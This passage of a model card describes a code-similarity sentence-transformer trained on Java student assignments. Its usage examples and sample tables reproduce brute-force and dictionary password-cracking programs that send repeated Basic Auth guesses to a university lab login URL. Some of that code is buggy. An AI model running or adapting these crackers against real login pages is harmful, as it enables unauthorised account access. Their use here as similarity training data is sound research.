\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ |
|
|
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ |
|
|
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\ |
|
|
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ |
|
|
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ |
|
|
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ |
|
|
\ String line;\n while ((line = in.readLine()) != null) {\n \ |
|
|
\ System.out.println(line);\n }\n System.out.println(\"\ |
|
|
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
|
|
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ |
|
|
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
|
|
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
|
|
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ |
|
|
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ |
|
|
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ |
|
|
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ |
|
|
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ |
|
|
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ |
|
|
\ String();\n String c2 = new String();\n String c3 = new String();\n \ |
|
|
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ |
|
|
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ |
|
|
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ |
|
|
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ |
|
|
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ |
|
|
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ |
|
|
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \ |
|
|
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ |
|
|
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ |
|
|
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ |
|
|
\ username, String password) {\n return \" \" + base64Encode (username + \"\ |
|
|
:\" + password);\n }\n\n private final static char base64Array [] = {\n \ |
|
|
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ |
|
|
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ |
|
|
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ |
|
|
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ |
|
|
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ |
|
|
\n private static String base64Encode (String string) {\n String encodedString\ |
|
|
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ |
|
|
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ |
|
|
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ |
|
|
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ |
|
|
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ |
|
|
\ = 0;\n pad = 1;\n }\n else\n b3\ |
|
|
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ |
|
|
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ |
|
|
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
|
\ break;\n }\n }\n return encodedString;\n }\n }\n" |
|
|
datasets: |
|
|
- buelfhood/SOCO_TRAIN_java |
|
|
pipeline_tag: sentence-similarity |
|
|
library_name: sentence-transformers |
|
|
--- |
|
|
|
|
|
# SentenceTransformer based on huggingface/CodeBERTa-small-v1 |
|
|
|
|
|
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
|
|
|
|
|
## Model Details |
|
|
|
|
|
### Model Description |
|
|
- **Model Type:** Sentence Transformer |
|
|
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 --> |
|
|
- **Maximum Sequence Length:** 512 tokens |
|
|
- **Output Dimensionality:** 768 dimensions |
|
|
- **Similarity Function:** Cosine Similarity |
|
|
- **Training Dataset:** |
|
|
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) |
|
|
<!-- - **Language:** Unknown --> |
|
|
<!-- - **License:** Unknown --> |
|
|
|
|
|
### Model Sources |
|
|
|
|
|
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
|
|
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
|
|
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
|
|
|
|
|
### Full Model Architecture |
|
|
|
|
|
``` |
|
|
SentenceTransformer( |
|
|
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel |
|
|
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
|
|
) |
|
|
``` |
|
|
|
|
|
## Usage |
|
|
|
|
|
### Direct Usage (Sentence Transformers) |
|
|
|
|
|
First install the Sentence Transformers library: |
|
|
|
|
|
```bash |
|
|
pip install -U sentence-transformers |
|
|
``` |
|
|
|
|
|
Then you can load this model and run inference. |
|
|
```python |
|
|
from sentence_transformers import SentenceTransformer |
|
|
|
|
|
# Download from the 🤗 Hub |
|
|
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-TripletLoss-100") |
|
|
# Run inference |
|
|
sentences = [ |
|
|
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n File file = new File("words");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n', |
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'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String("");\n String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println("Password Cracked Successfully!!!");\n System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println("Message :" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n String currentword = "";\n String se = "";\n try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n', |
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'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n protected String wordFile;\n\n public Dictionary()\n {\n super();\n }\n\n public static void main(String[] args)\n {\n Dictionary dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n System.out.println(dictionary.printUsage());\n }\n else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n dictionary.setWordFile(args[2]);\n\n if (args.length > 3)\n {\n dictionary.setFileName(args[3]);\n }\n dictionary.process();\n System.out.println(dictionary.printResult());\n System.exit(1);\n }\n }\n\n public void process()\n {\n attempts = 0;\n String password = "";\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n \n input = new BufferedReader(file);\n \n }\n catch (FileNotFoundException x)\n {\n System.err.println("File not found: " + getWordFile());\n System.exit(2);\n }\n\n try\n {\n while ((password = input.readLine()) != null)\n {\n try\n {\n \n attempts++;\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n password);\n setPassword(password);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n if (getFileName() != null\n && getFileName().length() > 0)\n {\n createReport();\n }\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n s.append("** BruteForce proper usage **\\n\\n");\n s.append(\n "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n return s.toString();\n }\n \n public String getWordFile()\n {\n return wordFile;\n }\n\n \n public void setWordFile(String string)\n {\n wordFile = string;\n }\n\n}\n', |
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] |
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embeddings = model.encode(sentences) |
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print(embeddings.shape) |
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# [3, 768] |
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# Get the similarity scores for the embeddings |
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similarities = model.similarity(embeddings, embeddings) |
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print(similarities.shape) |
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# [3, 3] |
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``` |
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<!-- |
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### Direct Usage (Transformers) |
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<details><summary>Click to see the direct usage in Transformers</summary> |
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</details> |
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--> |
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<!-- |
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### Downstream Usage (Sentence Transformers) |
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You can finetune this model on your own dataset. |
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<details><summary>Click to expand</summary> |
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</details> |
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--> |
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<!-- |
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### Out-of-Scope Use |
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*List how the model may foreseeably be misused and address what users ought not to do with the model.* |
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--> |
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<!-- |
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## Bias, Risks and Limitations |
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*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* |
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--> |
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<!-- |
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### Recommendations |
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*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
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--> |
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## Training Details |
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### Training Dataset |
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#### soco_train_java |
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* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) |
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* Size: 42,960 training samples |
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* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code> |
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* Approximate statistics based on the first 1000 samples: |
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| | anchor_code | positive_code | negative_code | |
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|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| |
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| type | string | string | string | |
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| details | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 456.08 tokens</li><li>max: 512 tokens</li></ul> | |
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* Samples: |
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| anchor_code | positive_code | negative_code | |
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|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |
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| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code> <br><br><br>import java.io.*;<br>import java.net.*;<br><br>import java.util.*;<br><br>import java.misc.BASE64Encoder;<br><br>public class Dictionary {<br><br> private String userId;<br> private String password;<br><br> ReadDictionary myWords = new ReadDictionary();<br><br> public Dictionary() {<br><br> <br> myWords.openFile();<br><br> <br> Authenticator.setDefault (new MyAuthenticator());<br> <br> <br> }<br><br> public String fetchURL (String urlString) {<br><br><br> StringBuffer sb = new StringBuffer();<br> HttpURLConnection connection;<br> Date startTime, endTime;<br> int responseCode = -1;<br> boolean retry = true; <br> <br> URL url;<br> startTime = new Date();<br> <br> System.out.println (" time :" + startTime);<br><br> while (retry == true)<br> {<br> <br> try {<br><br> url = new URL (urlString);<br><br> connection = (HttpURLConnection)url.openConnection();<br><br> setUserId("");<br> setPassword("rhk8611");<br><br> System.out.println("Attempting get a response : " +connection.getURL() );<br> responseCode = connection.getResponseCode();<br> System.out.print(responseCode + " ");<br><br> if (responseCode == HttpURLCo...</code> | |
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| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code><br><br>public class Base64 {<br><br> final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";<br><br> <br> public static String encode(byte[] bytes) {<br><br> String tmp = "";<br> int i = 0;<br> byte pos; <br><br> for(i=0; i < (bytes.length - bytes.length%3); i+=3) {<br><br> pos = (byte) ((bytes[i] >> 2) & 63); <br> tmp = tmp + baseTable.charAt(pos); <br><br> pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); <br> tmp = tmp + baseTable.charAt( pos );<br> <br> pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));<br> tmp = tmp + baseTable.charAt(pos);<br> <br> pos = (byte) (((bytes[i+2]) & 63));<br> tmp = tmp + baseTable.charAt(pos);<br> <br> <br> <br> if(((i+2)%56) == 0) {<br> tmp = tmp + "\r\n";<br> }<br> }<br><br> if(bytes.length % 3 != 0) {<br><br> if(bytes.length % 3 == 2) {<br><br> pos = (byte) ((bytes[i] >> 2) & 63); <br> tmp = tmp + baseTable.charAt(pos); <br><br> pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); <br> tmp = tmp + baseTable.charAt( pos );<br> <br> ...</code> | |
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| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br><br> public class Dictionary {<br><br> URLConnection conn = null;<br> private static boolean status = false;<br><br> public static void main (String args[]){<br> Dictionary a = new Dictionary();<br> String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",<br> "",<br> ""};<br> File file = new File("words");<br> exit:<br> try {<br> BufferedReader in = new BufferedReader(new FileReader(file));<br> int attempt = 0;<br> inp[2] = in.readLine();<br> while (inp[2] != null) {<br> <br> if (inp[2].length() <= 3) {<br> attempt++;<br> a.doit(inp);<br> if (status) {<br> System.out.println("Crrect password is: " + inp[2]);<br> System.out.println("Number of attempts = " + attempt);<br> break exit;<br> }<br> }<br> inp[2] = in.readLine();<br> }<br> } catch (FileNotFoundException e1) {<br> <br> System.err.println("File not found: " + file);<br> } catch (IOException e2) {<br> <br> e2.printStackTrace();<br> }<br><br> }<br><br> public void doit(String ar...</code> | <code>import java.net.*;<br>import java.io.*;<br><br> public class Dictionary {<br> int attempts = 0;<br> URLConnection conn = null;<br><br> public static void main (String args[]){<br><br> Dictionary a = new Dictionary();<br> a.attack(args);<br> }<br><br> public void attack(String args[]) {<br> try {<br> String login = new String("");<br> String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> String passwd = new String();<br><br><br> passwd = getPasswd();<br> BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));<br><br> String line;<br> while ((line = in.readLine()) != null) {<br> System.out.println(line);<br> }<br> System.out.println("Password Cracked Successfully!!!");<br> System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");<br> }<br> catch (IOException e) {<br> <br> String r = new String(e.getMessage());<br> if ( r != null)<br> {<br> System.out.println...</code> | <code><br><br>import java.net.*;<br>import java.io.IOException;<br>import java.util.*;<br>import java.io.*;<br>public class Dictionary {<br> static String userName;<br> static URL url;<br> static URLAuthenticator urlAuthenticator;<br> static int noOfAttempts;<br> <br> public Dictionary() {<br> }<br><br> public static void main (String args[]) {<br> Properties props = System.getProperties();<br> props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");<br> <br> System.out.println(props.get("http.proxyHost"));<br> BufferedReader inFile = null;<br> <br> try {<br> if (args.length < 1) { <br> System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");<br> System.exit(1);<br> } <br> inFile = new BufferedReader (new FileReader(args[0]));<br><br><br><br> breakPassword(inFile);<br> }<br> <br> catch (FileNotFoundException e) { <br> System.err.println(e.getMessage());<br> System.exit(1);<br> }<br> catch (IOException e) { <br> ...</code> | |
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|
* Loss: [<code>TripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#tripletloss) with these parameters: |
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|
```json |
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|
{ |
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|
"distance_metric": "TripletDistanceMetric.EUCLIDEAN", |
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|
"triplet_margin": 5 |
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|
} |
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|
``` |
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### Training Hyperparameters |
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|
#### Non-Default Hyperparameters |
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- `per_device_train_batch_size`: 16 |
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|
- `num_train_epochs`: 1 |
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|
- `warmup_ratio`: 0.1 |
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|
- `fp16`: True |
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|
- `batch_sampler`: no_duplicates |
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#### All Hyperparameters |
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|
<details><summary>Click to expand</summary> |
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- `overwrite_output_dir`: False |
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|
- `do_predict`: False |
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|
- `eval_strategy`: no |
|
|
- `prediction_loss_only`: True |
|
|
- `per_device_train_batch_size`: 16 |
|
|
- `per_device_eval_batch_size`: 8 |
|
|
- `per_gpu_train_batch_size`: None |
|
|
- `per_gpu_eval_batch_size`: None |
|
|
- `gradient_accumulation_steps`: 1 |
|
|
- `eval_accumulation_steps`: None |
|
|
- `torch_empty_cache_steps`: None |
|
|
- `learning_rate`: 5e-05 |
|
|
- `weight_decay`: 0.0 |
|
|
- `adam_beta1`: 0.9 |
|
|
- `adam_beta2`: 0.999 |
|
|
- `adam_epsilon`: 1e-08 |
|
|
- `max_grad_norm`: 1.0 |
|
|
- `num_train_epochs`: 1 |
|
|
- `max_steps`: -1 |
|
|
- `lr_scheduler_type`: linear |
|
|
- `lr_scheduler_kwargs`: {} |
|
|
- `warmup_ratio`: 0.1 |
|
|
- `warmup_steps`: 0 |
|
|
- `log_level`: passive |
|
|
- `log_level_replica`: warning |
|
|
- `log_on_each_node`: True |
|
|
- `logging_nan_inf_filter`: True |
|
|
- `save_safetensors`: True |
|
|
- `save_on_each_node`: False |
|
|
- `save_only_model`: False |
|
|
- `restore_callback_states_from_checkpoint`: False |
|
|
- `no_cuda`: False |
|
|
- `use_cpu`: False |
|
|
- `use_mps_device`: False |
|
|
- `seed`: 42 |
|
|
- `data_seed`: None |
|
|
- `jit_mode_eval`: False |
|
|
- `use_ipex`: False |
|
|
- `bf16`: False |
|
|
- `fp16`: True |
|
|
- `fp16_opt_level`: O1 |
|
|
- `half_precision_backend`: auto |
|
|
- `bf16_full_eval`: False |
|
|
- `fp16_full_eval`: False |
|
|
- `tf32`: None |
|
|
- `local_rank`: 0 |
|
|
- `ddp_backend`: None |
|
|
- `tpu_num_cores`: None |
|
|
